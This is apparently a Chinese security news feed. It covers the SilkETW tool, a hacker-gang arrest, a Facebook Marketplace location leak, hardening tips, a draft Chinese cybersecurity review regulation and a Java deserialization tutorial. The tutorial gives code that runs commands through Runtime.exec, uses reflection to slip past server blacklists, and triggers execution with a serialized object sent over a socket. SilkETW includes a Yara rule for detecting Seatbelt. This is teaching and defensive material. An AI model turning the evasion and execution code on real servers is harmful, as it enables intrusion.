SilkETW:一款针对Windows事件追踪的自定义C#封装工具
Alpha_h4ck 2019-5-24 7:0 转存

1.jpg

SilkETW

SilkETW是一款针对ETW(Event Tracing for Windows)的自定义C#封装工具,该工具可以通过抽象化的方式简化ETW的复杂性,并帮助分析人员对目标应用进行内部架构以及运行机制方面的研究。虽然SilkETW是一款防御端应用程序,但是它目前所处的阶段仍只是研究工具。

为了方便大家使用,输出数据被序列化成了JSON格式。JSON数据可以直接在本地使用PowerShell进行加载和分析,也可以转移到类似Elasticsearch这样的第三方平台进行分析。

工具实现细节

代码库

SilkETW基于.NET v4.5开发,并使用了大量第三方库

ModuleId                                 VersionLicenseUrl                                                  

--------                                 -----------------                                                  

McMaster.Extensions.CommandLineUtils     2.3.2  https://licenses.nuget.org/Apache-2.0                       

Microsoft.Diagnostics.Tracing.TraceEvent2.0.36 https://github.com/Microsoft/perfview/blob/master/LICENSE.TXT

Newtonsoft.Json                          12.0.1  https://licenses.nuget.org/MIT                              

System.ValueTuple                        4.4.0   https://github.com/dotnet/corefx/blob/master/LICENSE.TXT    

YaraSharp                                1.3.1  https://github.com/stellarbear/YaraSharp/blob/master/LICENSE

命令行参数&选项

命令行的使用方式比较简单,用户在输入数据后即可获取验证结果:

2.png

JSON输出结构

JSON输出在进行序列化处理之前,会按照下列C#结构进行格式化:

public struct EventRecordStruct

    public Guid ProviderGuid;

    public List<String> YaraMatch;

    public string ProviderName;

    public string EventName;

    public TraceEventOpcode Opcode;

    public string OpcodeName;

    public DateTime TimeStamp;

    public int ThreadID;

    public int ProcessID;

    public string ProcessName;

    public int PointerSize;

    public int EventDataLength;

    public Hashtable XmlEventData;

}

请注意,根据不同的服务提供方以及事件类型,程序会在XmlEventData哈希表中存储不同的变量数据,下面给出的是针对”Microsoft-Windows-Kernel-Process”-> “ThreadStop/Stop”的JSON输出样本: 

 "ProviderGuid":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716",

   "YaraMatch":[

 

   ],

  "ProviderName":"Microsoft-Windows-Kernel-Process",

  "EventName":"ThreadStop/Stop",

   "Opcode":2,

   "OpcodeName":"Stop",

  "TimeStamp":"2019-03-03T17:58:14.2862348+00:00",

   "ThreadID":11996,

   "ProcessID":8416,

   "ProcessName":"",

   "PointerSize":8,

   "EventDataLength":76,

   "XmlEventData":{

      "FormattedMessage":"Thread11,996 (in Process 8,416) stopped. ",

     "StartAddr":"0x7fffe299a110",

      "ThreadID":"11,996",

     "UserStackLimit":"0x3d632000",

     "StackLimit":"0xfffff38632d39000",

      "MSec":"560.5709",

      "TebBase":"0x91c000",

     "CycleTime":"4,266,270",

      "ProcessID":"8,416",

      "PID":"8416",

     "StackBase":"0xfffff38632d40000",

      "SubProcessTag":"0",

      "TID":"11996",

     "ProviderName":"Microsoft-Windows-Kernel-Process",

      "PName":"",

     "UserStackBase":"0x3d640000",

     "EventName":"ThreadStop/Stop",

     "Win32StartAddr":"0x7fffe299a110"

   }

}

工具使用

在PowerShell中过滤数据

在PowerShell的帮助下,你可以直接从SilkETW中导入JSON输出:

function Get-SilkData {

       param($Path)

       $JSONObject = @()

       Get-Content $Path | ForEach-Object {

              $JSONObject += $_ |ConvertFrom-Json

       }

       $JSONObject

}

在下面的样例中,我们将从内核收集进程的事件数据,并通过加载图片来验证Mimikatz的执行。我们可以使用下列命令收集到我们想要的数据:

SilkETW.exe -t kernel -kk ImageLoad -ot file -p C:\Users\b33f\Desktop\mimikatz.json

获取到数据之后,我们就可以根据属性来对数据进行排序、搜索和过滤了:

3.png

Yara

SilkETW提供了Yara功能来过滤数据或标记事件数据。虽然Yara规则普遍适用于防御端,但我们也可以在这里可以将其用于ETW研究。

在下面这个样例中,我们使用了Yara规则来检测内存中的Seatbelt执行:

rule Seatbelt_GetTokenInformation

       strings:

              $s1 ="ManagedInteropMethodName=GetTokenInformation" ascii wide nocase

              $s2 ="TOKEN_INFORMATION_CLASS" ascii wide nocase

              $s3 = /bool\(native int,valuetype\w+\.\w+\/\w+,native int,int32,int32&/

              $s4 = "locals(int32,int64,int64,int64,int64,int32& pinned,bool,int32)" ascii widenocase

      

       condition:

              all of ($s*)

}

我们可以使用下列命令收集.NET ETW数据,“-yo”参数表明我们只能将Yara匹配写入磁盘:

SilkETW.exe -t user -pn Microsoft-Windows-DotNETRuntime -uk 0x2038 -l verbose -yC:\Users\b33f\Desktop\yara -yo matches -ot file -pC:\Users\b33f\Desktop\yara.json

我们可以看到Yara规则的运行时匹配情况:

4.png

SilkETW获取&构建

我们可以直接下载SilkETW源码并在Visual Studio中进行编译。

下载地址:【点我下载预构建版本

项目地址

SilkETW:【GitHub传送门

 * 参考来源:fireeye,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

原文阅读

重庆网安部门侦破系列涉外网络黑客案,涉案金额高达2千余万元
shidongqi 2019-5-24 5:50 转存

日前,在“净网2019”专项行动中,荣昌区公安局在重庆市公安局网安总队的指导下,成功破获系列网络黑客案件。

2018年3月,荣昌警方接上级公安机关线索:荣昌籍黑客许某涉嫌在国外通过网络入侵我国境内网站服务器,以获取服务器权限并出售获利。在市公安局网安总队的指导下,荣昌区公安局迅速成立专案组,展开案侦工作。由于许某长期在菲律宾一带活动,境外侦查难度重重。经过近一年的侦查,专案民警确定了以许某、张某、李某、郭某为骨干的网络黑客犯罪团伙。

20190311134945_87037.jpg

2018年12月,该团伙成员陆续回到国内。为防止其成员再次出境从事违法犯罪活动,2019年2月27日,重庆市公安局网安总队、荣昌区公安局调集警力70余名,分赴重庆、湖北荆州、福建厦门三地实施抓捕。2月28日,三地同时行动,迅速抓捕,将该团伙骨干及成员共12人全部抓获。目前,10人已采取强制措施,正移送起诉中。

经审讯,该网络黑客团伙作案地主要分布于东南亚国家和国内重庆、湖北、福建、山东一带,且有非中国籍人员参与其中,团伙内部又设有若干子团伙,组织分工严密,非法侵入、控制境内网站数量巨大,仅许某参与的黑客犯罪团伙入侵的国家事务网站就达200余个,非法控制网站500余个,涉案金额高达2千余万元,该团伙成员平均月获利10万元到30万元不等。

其中,以许某为骨干的菲律宾黑客团伙主要攻击入侵国内的新闻、学校、政府机关网站,通过寻找此类网站漏洞,植入木马病毒,控制网站服务器,加挂黑链自动链接博彩网站,或把境外博彩公司链接地址保存在搜索引擎内,当用户访问网站时,网站会自动跳转至境外博彩公司网页;用搜索引擎搜索“时时彩、博彩”等关键字时,就会优先显示境外博彩公司地址,以达到加大博彩公司访问量,吸引更多人参与赌博的目的。同时,团伙成员还会对被控制的网站服务器定期维护,防止被其他黑客入侵。经审讯,该团伙入侵控制的网站有河南、浙江、江西、辽宁等政府机关、高校在内的网站700余个。重庆地区黑客犯罪团伙则以非法入侵计算机信息系统、入侵传销网站为主,获取网站数据库系统权限,以买分卖分方式,获利20余万元。

近年来,国内“网络黑客”赴东南亚国家作案日益增加,呈团伙化、集团化发展趋势。此案中,犯罪嫌疑人主要分布在菲律宾、柬埔寨等东南亚国家,涉案人数众多,涉及资金巨大,对境内机关、企事业单位网站大肆攻击,造成我国政治、经济损失重大。

互联网信息技术的发展催生出各类网络安全隐患,犯罪手段也在变换和更新。对此,警方提醒,要树立信息安全意识,加强网站安全管理,从源头上遏制风险隐患,合力筑牢安全防火墙,不给犯罪分子留下可乘之机。

*本文来源:央广网,转载请注明原出处

原文阅读

挖洞经验 | 获取Facebook Marketplace卖家精确地理位置信息
clouds 2019-5-24 5:0 转存

获取Facebook Marketplace卖家精确地理位置信息本文分享的writeup是与Facebook Marketplace销售系统相关的用户信息泄露漏洞,通过该漏洞可以获取到发布商品卖家的精确到经纬度和邮编等具体地理位置信息。漏洞上报一波三折,经历拒绝后再次被Facebook接收,最终Facebook给予的奖励为$5,000美金。以下是作者的漏洞发现分享。

Facebook Marketplace简介

Facebook Marketplace是Facebook于2016年10月在移动端推出的一个P2P(个人对个人)的商品拍卖和交易功能,允许用户在其上购买和销售物品。

点击Facebook底部的Marketplace按钮进入,在界面中用户可以像网络商城那样直接以商品名字、种类和售价等分类来搜索某商品,Facebook会自动为用户显示最靠近用户身边的Facebook卖家,并显示该卖家的报价和商品信息。在找到心仪商品之后,用户便可以直接用Messenger来与该卖家联络。而如果你是卖家,你也可以直接在Marketplace中添加商品、报价、地点等相关消息。与一般拍卖网站不同的是,其内置的地点工具可以调整中你正在查看的地区,或变更为其它城市。目前,Facebook Marketplace服务仅在某些国家开放。

发现漏洞的原因

Facebook Marketplace上线后,有些卖家会在上面销售一些被盗商品,所以我有时会协助调查Facebook Marketplace中的一些被盗商品,在分析其相关的可追回技术可行性过程中,我发现了其中存在的一个漏洞,利用该漏洞可以发现卖家的一些敏感数据,获取其包含经纬度的精确地理位置。

以我要卖掉的下图这辆7000欧的山地自行车拍卖销售页面分析入手,经测试,我发现Facebook Marketplace中与地理位置相关的数据信息相对具体,它包含在销售商品返回的广告中,其相关的响应消息为JSON格式内容,而这种卖家商品的地理位置又可以通过Facebook Marketplace进行设定。

获取Facebook Marketplace卖家精确地理位置信息为此,我觉得有些疑惑,为什么Facebook Marketplace呈现在用户页面上的商品地理位置又非常简单呢?这看来值得深究一番。

深入分析

于是,我又登录进入Facebook Marketplace应用,把这辆7000欧的山地自行车,用其中的地图位置选择工具设置了一个随机地址,看看有什么反应:

获取Facebook Marketplace卖家精确地理位置信息哦,看到没,在右下角之处,有一行小而灰色的字,Facebook Marketplace声称为了保护卖家隐私,位置信息仅只是大概位置(“Location is approximate to protect the seller’s privacy”),哟,还不错。

好吧,退出Facebook Marketplace看看这次请求包中的位置数据是什么,注意此时我是一个未授权的普通用户。在销售页面中,我开启了Chrome的浏览器网络监控功能,当我点击了这辆山地车的相关信息之后,可以在网络数据包中看到很多关于该商品的位置信息,查看后,我发现是Facebook的API – facebook.com/api/graphql 在响应时泄露了一些地理位置信息,如下:

获取Facebook Marketplace卖家精确地理位置信息其中竟然包含了商品发布的精确地理位置信息,有经纬度数据、城市、国家、邮编,如下:

"location": {

   "latitude": 54.9942235,

   "longitude": -1.6041244,

   "reverse_geocode": {

         "city": "Newcastle upon Tyne",

         "state": "England",

         "postal_code": ""

   },

   "reverse_geocode_detailed": {

      "city": "Newcastle upon Tyne",

      "state": "England",

      "postal_code": "NE2 2DS"

   }

}

经纬度!?哦,足够了!打开谷歌地图,输入其中的经纬度信息进行查找,当然,就发现了我在商品后台设置的具体地理位置了!

获取Facebook Marketplace卖家精确地理位置信息由于卖家很少会去刻意伪造销售商品的实际地理位置,而这种精确到米的地理位置和城市及邮编信息泄露,再结合交易过程涉及的卖家真实姓名,恶意攻击者或其它别有用心者可以利用它来准确确定卖家的具体住址。

这算是安全漏洞或问题吗?

由于卖家必须在商品发布过程中标明确切的个人位置信息,而Facebook Marketplace又声称会保护用户隐私,会做地理位置模糊化显示给浏览者。就像我设置山地车的销售位置时,拖动地图选择的圆圈后,Facebook Marketplace表明只会显示大概位置,当然,很少有卖家会刻意伪造这种地理位置信息。

另外,当我想用Facebook Marketplace提交一些具体精确的地理位置时,Facebook提供的位置或地址选择项中根本没有一些更准确或更近的位置可以选择,就算输入完整邮编或地址都不行。

获取Facebook Marketplace卖家精确地理位置信息所以,这种就互相矛盾了,那么,这就算是一种安全问题了。

这难道是Facebook的预期行为?

我本以为Facebook会从地图选择圆圈中随机分配到其中的一个位置,或者像某些Web应用一样会捕捉到最近的大概位置。我也期望Facebook只显示邮编的前三四个数字。但事实,当Facebook采取措施防止这些信息泄露时,以上模糊化的大概位置显示貌似是他们采取的方法。但是,现在当我试图在Facebook Marketplace添加一个销售商品时,Facebook甚至会去抓拍与其位置相关的当地一个公园图片,完全说不通。

漏洞上报

这无疑是一个安全漏洞了,我及时上报给了Facebook,并高亮显示了其中的邮编,但是却被Facebook拒绝了,他们认为这不是一个安全漏洞。不服气的我又继续分析了其中的相关参数,并再次更新上报,WTF,又被拒。好在我认识一个在Facebook工作的朋友,和他聊了聊,他把漏洞转给了某位内部人士进行了深入了解,最终,我的漏洞被接收了,一周后Facebook修复了漏洞并奖励了我$5,000美金。

*参考来源:7elements,clouds编译,转载请注明来自FreeBuf.COM

原文阅读

整理网络安全措施的5个小技巧
Karunesh91 2019-5-24 2:0 转存

网络需要定期清洁,就像人们的住所、汽车一样。为什么?答案很简单,安全条件差便会留下安全隐患。如果不定期检查使用的网络,那么其潜在的弱点和漏洞都可能会增加。

以下是一些每年都改完成一次的任务,能够有效提高网络的安全性:

一、查看第三方访问和策略

81.png

网络管理员和IT工作人员应该有一个正式的系统来审查和删除他们已经发出的第三方访问权限和凭证,但不知道为什么,这其中总会有一些纰漏。

一般来说,每年至少需要一次重点检查有哪些第三方服务可以访问你所在的网络或VPN,删除不再活跃的服务器信息,并确保每个活跃的服务器的信息。

例如,如果你设置一个临时账户,为访问者提供特殊访问权限,但忘记在访问结束后将其删除,那么便会在系统中留下安全隐患。只要可以,请务必使用最小权限原则。

这同样适用于防火墙策略。常常会有管理员出于某种原因添加临时策略,但事后会忘记删除。例如,如果有第三方需要定期远程传输文件,IT部门可能会启动临时FTP服务器并设置策略,让第三方能够通过防火墙远程访问数据。一个月后,不再需要传输文件,但管理员忘记了这件事。六个月后,这个被遗忘的服务器没有被修补,便有可能受到攻击。

好消息是,很多防火墙和UTM都具有能够显示用户经常使用的策略以及哪些在长时间内未被使用的功能,这些功能可以帮助管理员快速清除这些过时的隐患。

二、盘点网络升级

ChMkJlvYWgWIKTelAAEuaULPDZQAAs2fgOL4KsAAS6B898.jpg

随着网络的发展,对于技术方面的掌握也要随之升级。每年一次,针对你使用的网络,确认有什么变动,以及评估当前的硬件和软件安全性是否在线,随着物联网设备的增多,针对端点的安全防御措施也需要增加。

随着网络速度的提高,防火墙设备也需要足够的资源来处理增加的网络流量,同时执行原本的安全扫描工作。在不降低网络性能或跳过重要安全服务的前提下,确保网络流量不会超过安全控制范围。

三、测试新的网络钓鱼基线

phishing-scams.jpg

几乎每家公司都应该为所有员工进行定期网络钓鱼培训,并且每年一次进行企业范围内的测试,以确认员工是否具备识别网络钓鱼邮件以及正确响应能力。

另外,请考虑增强或改进网络钓鱼培训的方式。例如,能否教会员工识别最新的鱼叉式网络钓鱼攻击?能否识别出虚假的银行登录页面?或者当用户点击恶意链接时,能否立即提供反馈?安全意识到位的员工也是一项安全资产。

四、不规则的修补

CA0CC9CC514D8E887AE2C8AB273BE8EF4FA4E5C3_size144_w800_h534.jpeg

对于普通台式机和服务器,应当有一个固定的补丁周期。无论是针对有问题的服务器或设备,或是未更新的物联网设备,又或者是旧的操作系统,请至少每年清点一次。检查所有硬件设备上的固件是否保持更新,并随时考虑更换旧服务器、设备等。

漏洞和补丁管理软件并不总是能及时反馈出你的服务器或物联网设备问题,而这些设备在企业终端中占据的比例也越来越大。定期检查时确保设备安全的有效方法。

五、更改密码并考虑MFA解决方案

two-factor-auth-1024x573.png

强密码(每个账户独有的长随机字符串)不需要经常更改,但定期审核和更新企业或组织机构的密码也是一个好方法。

现在,很多企业鼓励员工使用密码管理器和多因素身份验证工具。密码管理器具备自动更改用户记录的所有密码,并且操作非常便捷。而多因素身份验证也越来越多的普及到安全防御措施当中。

简单密码和重复密码导致数据泄漏的量持续增长,添加MFA(Multi-Factor Authentication)能有效降低安全风险。现在,很多基于云的MFA服务比过去的密钥卡等设备更加便宜便捷,也被众多中小型企业所青睐。

随着网络威胁日益增长,数据的价值不言而喻,合理安排网络清理能够有效提升企业信息安全性,助力企业发展。 

*参考来源:helpnetsecurity,karunesh91编译,转载请注明来自FreeBuf.COM

原文阅读

国家互联网信息办公室关于《网络安全审查办法(征求意见稿)》公开征求意见的通知
Freddy 2019-5-24 1:45 转存

为提高关键信息基础设施安全可控水平,维护国家安全,依据《中华人民共和国国家安全法》《中华人民共和国网络安全法》等法律法规,国家互联网信息办公室会同国家发展和改革委员会、工业和信息化部、公安部、国家安全部、商务部、财政部、中国人民银行、国家市场监督管理总局、国家广播电视总局、国家保密局、国家密码管理局联合起草了《网络安全审查办法(征求意见稿)》,现向社会公开征求意见。

公众可通过以下途径和方式提出反馈意见:

1. 登陆中国政府法制信息网(网址:http://www.chinalaw.gov.cn),进入首页的“立法意见征集”提出意见。

2. 通过电子邮件方式发送至:shencha@cac.gov.cn。

3. 通过信函方式将意见寄至:北京市西城区车公庄大街11号国家互联网信息办公室网络安全协调局,邮编100044,并在信封上注明“审查办法征求意见”。

意见反馈截止时间为2019年6月24日。

网络安全审查办法(征求意见稿)

第一条 为提高关键信息基础设施安全可控水平,维护国家安全,依据《中华人民共和国国家安全法》《中华人民共和国网络安全法》等法律法规,制定本办法。

第二条 关键信息基础设施运营者(以下简称运营者)采购网络产品和服务,影响或可能影响国家安全的,应当按照本办法进行网络安全审查。法律、行政法规另有规定的,依照其规定。

第三条 网络安全审查坚持防范网络安全风险与促进先进技术应用、增强公正透明与保护知识产权相统一,坚持事前审查与持续监管、企业承诺与社会监督相结合,从产品和服务安全性、可能对国家安全带来的风险隐患等方面进行综合分析评判。

第四条 中央网络安全和信息化委员会统一领导网络安全审查工作。

第五条 国家互联网信息办公室会同国家发展和改革委员会、工业和信息化部、公安部、国家安全部、商务部、财政部、中国人民银行、国家市场监督管理总局、国家广播电视总局、国家保密局、国家密码管理局建立国家网络安全审查工作机制。网络安全审查办公室设在国家互联网信息办公室,负责组织制定网络安全审查相关制度规定和工作程序、组织网络安全审查、监督审查决定的实施。

第六条 运营者采购网络产品和服务时,应预判产品和服务上线运行后带来的潜在安全风险,形成安全风险报告。可能导致以下情况的,应当向网络安全审查办公室申报网络安全审查:

(一)关键信息基础设施整体停止运转或主要功能不能正常运行;

(二)大量个人信息和重要数据泄露、丢失、毁损或出境;

(三)关键信息基础设施运行维护、技术支持、升级更新换代面临供应链安全威胁;

(四)其他严重危害关键信息基础设施安全的风险隐患。

第七条 对于申报网络安全审查的采购活动,运营者应通过采购文件、合同或其他有约束力的手段要求产品和服务提供者配合网络安全审查,并与产品和服务提供者约定网络安全审查通过后合同方可生效。

第八条 运营者申报网络安全审查时,应当提交以下材料:

(一)申报书;

(二)本办法第六条中的安全风险报告;

(三)采购合同、协议等;

(四)网络安全审查办公室要求的其他材料。

第九条 网络安全审查办公室受理网络安全审查后,应在30个工作日内完成初步审查,情况复杂的可延长15个工作日。

第十条 网络安全审查重点评估采购活动可能带来的国家安全风险,主要考虑以下因素:

(一)对关键信息基础设施持续安全稳定运行的影响,包括关键信息基础设施被控制、被干扰和业务连续性被损害的可能性;

(二)导致大量个人信息和重要数据泄露、丢失、毁损、出境等的可能性;

(三)产品和服务的可控性、透明性以及供应链安全,包括因为政治、外交、贸易等非技术因素导致产品和服务供应中断的可能性;

(四)对国防军工、关键信息基础设施相关技术和产业的影响;

(五)产品和服务提供者遵守国家法律与行政法规情况,以及承诺承担的责任和义务;

(六)产品和服务提供者受外国政府资助、控制等情况;

(七)其他可能危害关键信息基础设施安全和国家安全的因素。

第十一条 网络安全审查办公室完成初步审查后,应形成审查结论建议,并送网络安全审查工作机制成员单位征求意见。审查结论建议包括通过审查、附条件通过审查、未通过审查三种情况。

网络安全审查工作机制成员单位应在15个工作日内书面回复意见。网络安全审查工作机制成员单位意见一致的,网络安全审查办公室以书面形式将审查结论反馈运营者;意见不一致的,进入特别审查程序并通知运营者。

第十二条 进入特别审查程序的,网络安全审查办公室应进一步听取相关部门、专业机构、专家意见,进行深入分析评估,形成审查结论建议,征求网络安全审查工作机制成员单位意见后,按程序报中央网络安全和信息化委员会批准。

第十三条 特别审查原则上应在45个工作日内完成,情况复杂的可以延长。

第十四条 网络安全审查办公室要求提供补充材料等,运营者应予以配合。审查时间从提交补充材料之日起计算。

运营者应对所提供材料的真实性负责。在审查过程中拒绝按要求提供材料或故意提供虚假材料的,按未通过安全审查处理。

第十五条 参与网络安全审查的人员对审查工作中获悉的信息等承担保密义务,不得用于审查以外的目的。

第十六条 运营者加强安全管理,督促产品和服务提供者认真履行网络安全审查中作出的承诺。

网络安全审查办公室通过抽查、接受举报等形式加强事中事后监管。

第十七条 运营者违反本办法规定的,依照《中华人民共和国网络安全法》第六十五条的规定处理。

第十八条 本办法中关键信息基础设施运营者是指经关键信息基础设施保护工作部门认定的运营者。

安全可控是指产品和服务提供者不得利用提供产品和服务的便利条件非法获取用户数据、非法控制和操纵用户设备,不得利用用户对产品和服务的依赖性牟取不正当利益或者迫使用户更新换代等。

第十九条 网络安全审查工作机制成员单位认为影响或可能影响国家安全的网络产品和服务采购活动、信息技术服务活动,网络安全审查办公室按程序报中央网络安全和信息化委员会批准,依照本办法进行审查。

第二十条 涉及国家秘密信息的,依照国家有关保密规定执行。

第二十一条 本办法自 年 月 日起实施,《网络产品和服务安全审查办法(试行)》同时废止。

*本文转载自:网信中国,转载请注明来源。

原文阅读

原来Java反序列化远程执行漏洞这么简单
yafeile 2019-5-24 1:40 转存

在这里我们对Java中反序列化问题引发的远程代码执行漏洞的原理进行介绍。为了简化说明,在不引入第3方库的前提下进行操作,希望能起到抛砖引玉的效果。

主要有3个部分组成:

Java的反省机制

Java的序列化处理

Java的远程代码执行

Java的反射与代码执行

我们先看1个简单的例子,使用Java调用计算器程序:

import java.io.IOException;

import java.lang.Runtime;

public class Test {

    public static void main(String[] args) {
        Runtime env = Runtime.getRuntime();
        String cmd = "calc.exe";
        try {
            env.exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

我们从java.lang包中导入Runtime类,之后调用其getRuntime方法得到1个Runtime对象,该对象可以用于JVM虚拟机运行状态的处理。接着我们调用其exec方法,传入1个字符串作为参数。

此时,将启动本地计算机上的计算器程序。

下面我们通过Java的反省机制对上述的代码进行重写。通过Java的反省机制可以动态的调用代码,而逃过一些服务端黑名单的处理:

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class Test {

    public static void main(String[] args) {
        try {
            Class<?> cls = Class.forName("java.lang.Runtime");
            String cmd = "calc.exe";
            try {
                Method getRuntime = cls.getMethod("getRuntime", new Class[] {});
                Object runtime = getRuntime.invoke(null);
                Method exec = cls.getMethod("exec", String.class);
                exec.invoke(runtime, cmd);
            } catch (NoSuchMethodException e) {
                e.printStackTrace();
            } catch (SecurityException e) {
                e.printStackTrace();
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            } catch (IllegalArgumentException e) {
                e.printStackTrace();
            } catch (InvocationTargetException e) {
                e.printStackTrace();
            }
        } catch (ClassNotFoundException e1) {
            e1.printStackTrace();
        }
    }
}

上述代码看起来很繁琐,实际上并不是很难。首先,通过Class.forName传入1个字符串作为参数,其返回1个Class的实例。而其作用是根据对应的名称找到对应的类。

接着我们使用Class实例的getMethod方法获取对应类的getRuntime方法,由于该类没有参数,因此可以将其设置为null或使用匿名类来处理。

Method getRuntime = cls.getMethod("getRuntime", new Class[] {});

之后通过得到的方法的实例的invoke方法调用对应的类方法,由于没有参数则传入null即可。同理,我们再获取到exec方法。

Java序列化处理

对于Java中的序列化处理,对应的类需要实现Serializable接口,例如:

import java.io.Serializable;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;

public class Reader implements Serializable {
    private static final long serialVersionUID = 10L;

    private void readObject(ObjectInputStream stream) {
        System.out.println("foo...bar...");
    }

    public static byte[] serialize(Object obj) {
        //序列化对象
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream output = null;
        try {
            output = new ObjectOutputStream(out);
            output.writeObject(obj);
            output.flush();
            output.close();

        } catch (IOException e) {
            e.printStackTrace();
        }
        return out.toByteArray();

    }

    public static Object deserialize(byte[] bytes) {
        //反序列化处理
        ByteArrayInputStream in = new ByteArrayInputStream(bytes);
        ObjectInputStream input;
        Object obj = null;
        try {
            input = new ObjectInputStream(in);
            obj = input.readObject();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
        return obj;

    }

    public static void main(String[] args) {
        byte[] data = serialize(new Reader()); //对类自身进行序列化
        Object response = deserialize(data);
        System.out.println(response);
    }
}

在这里我们重写了该类的readObject方法,用于读取对象用于测试。其中比较重要的2个函数是serialize和deserialize,分别用于序列化和反序列化处理。

其中,serialize方法需要传入1个对象作为参数,其输出结果为1个字节数组。在该类中,其中的对象输出流ObjectOutputStream主要用于ByteArrayOutputStream进行包装,之后使用其writeObject方法将对象写入进去,最后我们通过ByteArrayOutputStream实例的toByteArray方法得到字节数组。

而在deserialize方法中,需要传入1个字节数组,而返回值为1个Object对象。与之前的序列化serialize函数类似,此时我们使用ByteArrayInputStream接收字节数组,之后使用ObjectInputStream对ByteArrayInputStream进行包装,接着调用其readObject方法得到1个Object对象,并将其返回。

当我们运行该类时,将得到如下的结果:

foo...bar...

Java远程通信与传输

为了实现Java代码的远程传输及远程代码执行,我们可以借助RMI、RPC等方式。而在这里我们使用Socket进行服务端及客户端处理。

首先是服务器端,监听本地的8888端口,其代码为:

import java.net.Socket;
import java.io.IOException;
import java.io.InputStream;
import java.net.ServerSocket;
public class Server {

    public static void main(String[] args) throws ClassNotFoundException {
        int port = 8888;
        try {
            ServerSocket server = new ServerSocket(port);
            System.out.println("Server is waiting for connect");
            Socket socket = server.accept();
            InputStream input = socket.getInputStream();
            byte[] bytes = new byte[1024];
            int length = 0;
            while((length=input.read(bytes))!=-1) {
                String out = new String(bytes, 0, length, "UTF-8");
                System.out.println(out);
            }
            input.close();
            socket.close();
            server.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

我们通过传入1个端口来实例化ServerSocket类,此时得到1个服务器的socket,之后调用其accept方法接收客户端的请求。此时,得到了1个socket对象,而通过socket对象的getInputStream方法获取输入流,并指定1个长度为1024的字节数组。接着调用socket的read方法读取那么指定长度的字节序列,之后通过String构造器将字节数组转换为字符串并输出。这样我们就得到了客户端传输的内容。

而对于客户端器,其代码类似如下:

import java.io.IOException;
import java.net.Socket;
import java.io.OutputStream;

public class Client {

    public static void main(String[] args) {
        String host = "192.168.1.108";
        int port = 8888;
        try {
            Socket socket = new Socket(host, port);
            OutputStream output = socket.getOutputStream();
            String message = "Hello,Java Socket Server";
            output.write(message.getBytes("UTF-8"));
            output.close();
            socket.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

在客户端,我们通过Socket对象传递要连接的IP地址和端口,之后通过socket对象的getOutputStream方法获取到输出流,用于往服务器端发送输出。由于这里只是演示,使用的是本地的主机IP。而在实际应用中,如果我们知道某个外网主机的IP及开放的端口,如果当前主机存在对应的漏洞,也是可以利用类似的方式来实现的。

这里我们设置要传输的内容为UTF-8编码的字符串,俄日在输出流的write方法中通过字符串的getBytes指定其编码,从而将其转换为对应的字节数组进行发送。

正常情况下,我们运行服务器后再运行客户端,在服务器端可以得到如下输出:

Server is waiting for connect
Hello,Java Socket Server

Java反序列化与远程代码执行

下面我们通过Java反序列化的问题来实现远程代码执行,为了实现远程代码执行,我们首先在Reader类中添加1个malicious方法,其代码为:

    ...
    public Object malicious() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
        System.out.println("Hacked the Server...");
        return this;
    }

在该方法中我们使用之前的介绍调用宿主机器上的计算器程序,然后输出1个相关信息,最后返回当前类。

之后是对服务器端的代码进行如下的修改:

...

while((length=input.read(bytes))!=-1) {
    Reader obj = (Reader) Reader.deserialize(bytes);
    obj.malicious();
}

我们在接收到客户端对应的字符串后对其进行反序列处理,之后调用某个指定的函数,从而实现远程代码的执行。

而在客户端,我们需要对其进行序列化处理:

Reader reader = new Reader();
byte[] bytes = Reader.serialize(reader);
String message = new String(bytes);
output.write(message.getBytes());

下面我们在宿主机器上运行服务器端程序,之后在本地机器上运行客户端程序,当客户端程序执行时,可以看到类似如下的结果:

图片.png

可以看到,我们成功的在宿主机器上执行了对应的命令执行。

总结

为了实现通过Java的反序列问题来实现远程代码执行的漏洞,我们需要编写1个有恶意代码注入的序列化类。之后在客户端将恶意代码序列化后发送给服务器端,而服务器端需要调用我们期望的方法,从而触发远程代码执行。

为了避免服务器端进行一些安全处理,我们可以采用反射的方式来逃逸其处理。

这里只是1个简化的过程,更加实用的过程可以参考Apache Common Collections的问题导致的Weblogic漏洞CVE-2015-4852及Jboss的漏洞CVE-2015-7501

*本文作者:yafeile,转载请注明来自FreeBuf.COM

原文阅读

国家网络安全能力成熟度模型(三)
lywhiz 2019-5-24 0:30 转存

前言

本部分主要是介绍针对关键基础设施的保护工作如何开展。其中也介绍了国外的CI是如何分类和定义的,以及一些现行的实践案例。

前文回顾:

国家网络安全能力成熟度模型(一)

国家网络安全能力成熟度模型(二)

正文

D 1.3 – Critical infrastructure protection

概述

关键基础设施(CI),也被称为关键国家基础设施(CNI),定义为维持重要的社会职能(包括健康、安全、安全保障、经济和社会福利)所必需的资产和系统。关键基础设施被破坏或毁坏必然会对社会产生重大影响。包括能源部门(电力、石油、天然气)、运输网络(公路、铁路、航空、内河航道和公海航道)、电信基础设施、金融系统、废物和饮用水系统、化学和核工业、紧急服务、军事和安全服务、民政和政府服务。

关键基础设施(CI)中信息和通信系统的集成和依赖通常被称为关键信息基础设施(CII)。关键信息基础设施(CII)被定义为对关键基础设施(CI)的运转至关重要的信息和(远程)通信基础设施。更具体地说,关键信息基础设施既包括在特定的关键基础设施部门或供应商使用的内部信息和通信系统,也包括更广泛的关键信息和通信基础设施,比如,互联网和移动电话网络。

如果关键信息基础设施(CII)被破坏或毁坏,那么关键基础设施(CI)也会被破坏。这反过来可能会对重要的社会职能产生一连串负面效应。如下图 1.4 所示。关键信息基础设施面临着许多威胁,包括黑客主义、网络犯罪、网络间谍和国家启动的网络攻击。它可能存在一系列漏洞,包括软件缺陷、人为错误和外部干扰。

